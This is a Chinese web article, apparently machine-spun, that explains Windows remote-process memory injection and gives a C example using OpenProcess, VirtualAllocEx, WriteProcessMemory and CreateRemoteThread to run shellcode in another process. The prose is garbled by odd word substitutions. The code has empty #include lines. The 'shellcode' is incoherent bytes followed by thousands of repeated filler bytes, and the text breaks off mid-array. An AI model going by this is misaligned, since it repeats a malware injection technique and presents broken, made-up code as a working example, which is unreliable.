【揭秘C语言内存注入】技术揭秘与实战案例分析

日期:

最佳答案

1. 内存注入概述

内存注入是打算机保险范畴的一个重要不雅点，它指的是将一段代码（平日称为ShellCode）注入到另一个过程的内存中，使其可能在目标过程中履行。这种技巧被广泛利用于体系编程、软件开辟跟保险范畴。C言语作为体系编程的基本，在内存注入技巧中扮演侧重要角色。

2. 内存注入道理

内存注入的基本道理如下：

  1. 获取目标过程句柄：利用Windows API函数OpenProcess获取目标过程的句柄。
  2. 分配内存空间：利用VirtualAllocEx函数在目标过程的内存平分配空间，用于存放ShellCode。
  3. 写入ShellCode：利用WriteProcessMemory函数将ShellCode写入到目标过程分配的内存空间。
  4. 创建远程线程：利用CreateRemoteThread函数在目标过程中创建一个远程线程，并履行ShellCode。

3. 内存注入实战案例分析

以下是一个简单的内存注入实战案例分析：

”`c #include #include

int main() {

// 获取目标过程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234); // 假设目标过程ID为1234
if (hProcess == NULL) {
    printf("无法获取目标过程句柄。\n");
    return 1;
}

// 分配内存空间
LPVOID lpMem = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpMem == NULL) {
    printf("无法分配内存。\n");
    return 1;
}

// ShellCode
unsigned char shellcode[] = "\x90\x31\xdb\x64\x8b\x72\x2c\x8b\x76\x0c\x8b\x76\x1c\x8b\x6c\x28\x0c\x8b\x45\x08\x8b\x04\x8b\x4c\x24\x1c\x8d\x4e\x08\x51\x8b\x34\x8b\x03\x48\x01\xd1\x48\x89\xc6\x49\x89\xd7\x4d\x29\xd6\x48\x89\xd1\x5f\x5e\x66\x89\x5c\x24\x04\x8b\x6c\x24\x20\x8b\x45\x08\x8b\x04\x8b\x4c\x24\x1c\x4d\x01\xc8\x89\x44\x24\x18\x89\x4c\x24\x14\xeb\x0d\x5b\x5b\x5b\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x41\x51\x